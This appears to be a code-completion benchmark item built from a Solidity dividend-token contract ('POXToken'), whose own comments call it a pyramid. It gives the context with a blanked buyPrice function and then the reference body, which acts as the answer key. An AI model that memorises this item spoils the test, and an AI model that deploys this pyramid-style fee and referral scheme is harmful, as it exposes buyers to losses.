dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data // low fees for presale address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _feesEthereum = SafeMath.div(_ethereum, exchangesellFee_); uint256 _sellfeeEthereum = SafeMath.div(_ethereum, sellFee_); if (ambassadors_[_customerAddress] == true) { _sellfeeEthereum = SafeMath.div(_ethereum, exchangesellFee_); } uint256 _dividends = SafeMath.sub(_sellfeeEthereum, _feesEthereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _sellfeeEthereum); // fees and burn the sold tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders // low fees for presale uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_); if (ambassadors_[_customerAddress] == true) { _tokenFee = SafeMath.div(_amountOfTokens, presaletransferFee_); } uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _feesEthereum = SafeMath.div(tokensToEthereum_(_tokenFee), exchangebuyFee_); uint256 _dividends = SafeMath.sub(tokensToEthereum_(_tokenFee), _feesEthereum); // fees and burn the fee tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the referral rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) {<FILL_FUNCTION_BODY> } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, buyFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup and fees address _customerAddress = msg.sender; uint256 _feesEthereum = SafeMath.div(_incomingEthereum, exchangebuyFee_); uint256 _referralBonus = SafeMath.div(_incomingEthereum, referralFeenormal_); // referral commission rewards to 40% for address that hold 500 POX or more if (tokenBalanceLedger_[_referredBy] >= stakingRequirement) { _referralBonus = SafeMath.div(_incomingEthereum, referralFeedouble_); } uint256 _dividends = SafeMath.sub((SafeMath.div(_incomingEthereum, buyFee_)), (SafeMath.add(_feesEthereum, _referralBonus))); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (SafeMath.div(_incomingEthereum, buyFee_))); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; exchangefees.transfer(_feesEthereum); // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a referral? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder // measurement error profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // measurement error payoutsTo_[measurement] -= (int256) (SafeMath.sub(SafeMath.sub(_taxedEthereum, SafeMath.div(_taxedEthereum, sellFee_)), SafeMath.sub(tokensToEthereum_(_amountOfTokens), SafeMath.div(tokensToEthereum_(_amountOfTokens), sellFee_))) * magnitude); // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper * with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
contract POXToken { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> set new administrator // -> change the PoS difficulty (How many tokens it costs to hold a referral, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "POXToken"; string public symbol = "POX"; uint8 constant public decimals = 18; uint8 constant internal buyFee_ = 10; uint8 constant internal sellFee_ = 5; uint8 constant internal exchangebuyFee_ = 100; uint8 constant internal exchangesellFee_ = 50; uint8 constant internal referralFeenormal_ = 50; uint8 constant internal referralFeedouble_ = 25; uint8 constant internal transferFee_ = 10; uint32 constant internal presaletransferFee_ = 1000000; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake Doubles Referral Rewards (defaults at 500 tokens) uint256 public stakingRequirement = 500e18; // presale mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1000 ether; uint256 constant internal ambassadorQuota_ = 1010 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // fees and measurement error address address private exchangefees; address private measurement; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function POXToken(address _exchangefees, address _measurement) public { require(_exchangefees != address(0)); exchangefees = _exchangefees; require(_measurement != address(0)); measurement = _measurement; // administrators administrators[0x8889885f4a4800abC7F32aC661765cd1FAaC7D49] = true; // pre-sale wallet. ambassadors_[0xA7A1d05b15de7d5C0a8A27dDD3B011Ec366D6bB9] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data // low fees for presale address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _feesEthereum = SafeMath.div(_ethereum, exchangesellFee_); uint256 _sellfeeEthereum = SafeMath.div(_ethereum, sellFee_); if (ambassadors_[_customerAddress] == true) { _sellfeeEthereum = SafeMath.div(_ethereum, exchangesellFee_); } uint256 _dividends = SafeMath.sub(_sellfeeEthereum, _feesEthereum); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _sellfeeEthereum); // fees and burn the sold tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders // low fees for presale uint256 _tokenFee = SafeMath.div(_amountOfTokens, transferFee_); if (ambassadors_[_customerAddress] == true) { _tokenFee = SafeMath.div(_amountOfTokens, presaletransferFee_); } uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _feesEthereum = SafeMath.div(tokensToEthereum_(_tokenFee), exchangebuyFee_); uint256 _dividends = SafeMath.sub(tokensToEthereum_(_tokenFee), _feesEthereum); // fees and burn the fee tokens exchangefees.transfer(_feesEthereum); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders and measurement error profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the referral rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } <FILL_FUNCTION> /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, buyFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, sellFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { // data setup and fees address _customerAddress = msg.sender; uint256 _feesEthereum = SafeMath.div(_incomingEthereum, exchangebuyFee_); uint256 _referralBonus = SafeMath.div(_incomingEthereum, referralFeenormal_); // referral commission rewards to 40% for address that hold 500 POX or more if (tokenBalanceLedger_[_referredBy] >= stakingRequirement) { _referralBonus = SafeMath.div(_incomingEthereum, referralFeedouble_); } uint256 _dividends = SafeMath.sub((SafeMath.div(_incomingEthereum, buyFee_)), (SafeMath.add(_feesEthereum, _referralBonus))); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, (SafeMath.div(_incomingEthereum, buyFee_))); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; exchangefees.transfer(_feesEthereum); // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a referral? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder // measurement error profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); payoutsTo_[measurement] -= (int256) (SafeMath.sub((_dividends * magnitude), SafeMath.div((_dividends * magnitude), tokenSupply_) * tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // measurement error payoutsTo_[measurement] -= (int256) (SafeMath.sub(SafeMath.sub(_taxedEthereum, SafeMath.div(_taxedEthereum, sellFee_)), SafeMath.sub(tokensToEthereum_(_amountOfTokens), SafeMath.div(tokensToEthereum_(_amountOfTokens), sellFee_))) * magnitude); // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper * with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }
// our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, buyFee_); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; }
function buyPrice() public view returns(uint256)
/** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256)